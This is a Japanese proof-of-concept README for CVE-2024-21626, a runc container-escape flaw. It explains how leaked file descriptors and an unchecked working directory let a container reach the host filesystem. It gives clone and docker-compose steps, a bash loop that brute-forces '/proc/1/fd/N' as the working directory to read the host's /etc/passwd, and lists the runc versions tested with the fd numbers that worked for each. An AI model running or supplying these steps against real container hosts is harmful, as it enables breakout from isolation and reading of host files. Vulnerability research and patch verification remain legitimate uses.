CVE-2024-21626

利用:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

検証: ホストの/etc/passwdを取得できれば、この脆弱性が存在します。

環境: runc: >=v1.0.0-rc93,<=1.1.11

攻撃の詳細と原理: runcの影響を受けるバージョンでは、初期化処理中に内部ファイルディスクリプタの一部が漏洩し、ホストの/sys/fs/cgroupへのハンドルが含まれます。また、runcは最終的な作業ディレクトリがコンテナのマウントネームスペース内にあることを確認しません。攻撃者はprocess.cwd設定を/proc/self/fd/7に変更するか、ホストがrunc execを呼び出す際に--cwdパラメータで渡された特定のパスを/proc/self/fd/7/のシンボリックリンクに置き換えることで、コンテナ内のプロセスがホストのファイルシステムにアクセス・操作できるようにし、コンテナの隔離機構を回避します。 詳細（gif画像）:

1. 攻撃者は自作のdocker-pocパッケージを使用して攻撃を実行します CVE-2024-21626 runc process.cwd と漏洩した fds によるコンテナエスケープ | Snyk (snyk.io)
2. このdocker-imageは20240201時点では公開リポジトリで公開されていません
3. 公式ソースコードの修正ロジック: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc は Process.CWD のトリックと漏洩した FDS によるコンテナエスケープの影響を受けやすい · CVE-2024-21626 · GitHub アドバイザリーデータベース

CVE: CVE - CVE-2024-21626 (mitre.org) この脆弱性の発見者: CVE-2024-21626 runc process.cwd と漏洩した fds によるコンテナエスケープ | Snyk (snyk.io)

実際の fd はファイルを開く順序によって変わる可能性があります。以下のスクリプトを使ってブルートフォースできます。

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

ローカルテスト成功: fd/9 で実現 runc-version: 1.1.10 1.1.2

runc --version が1.0.0の場合

runc --version が1.1.4の場合 fd/8で実現

本日公開されたばかりの脆弱性です 以下に詳細を説明します

以下の方法で再現できます

1. runc - input 手動ブレークポイントコンパイル
2. ebpfでruncを監視してブレークポイントを設定
3. runc create demo runc exec demo ls /proc/1/fd -a で対応するシンボリックリンクを直接確認できます
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd でブルートフォース

TODO: runcのブレークポイントでdfを取得して自動化を実現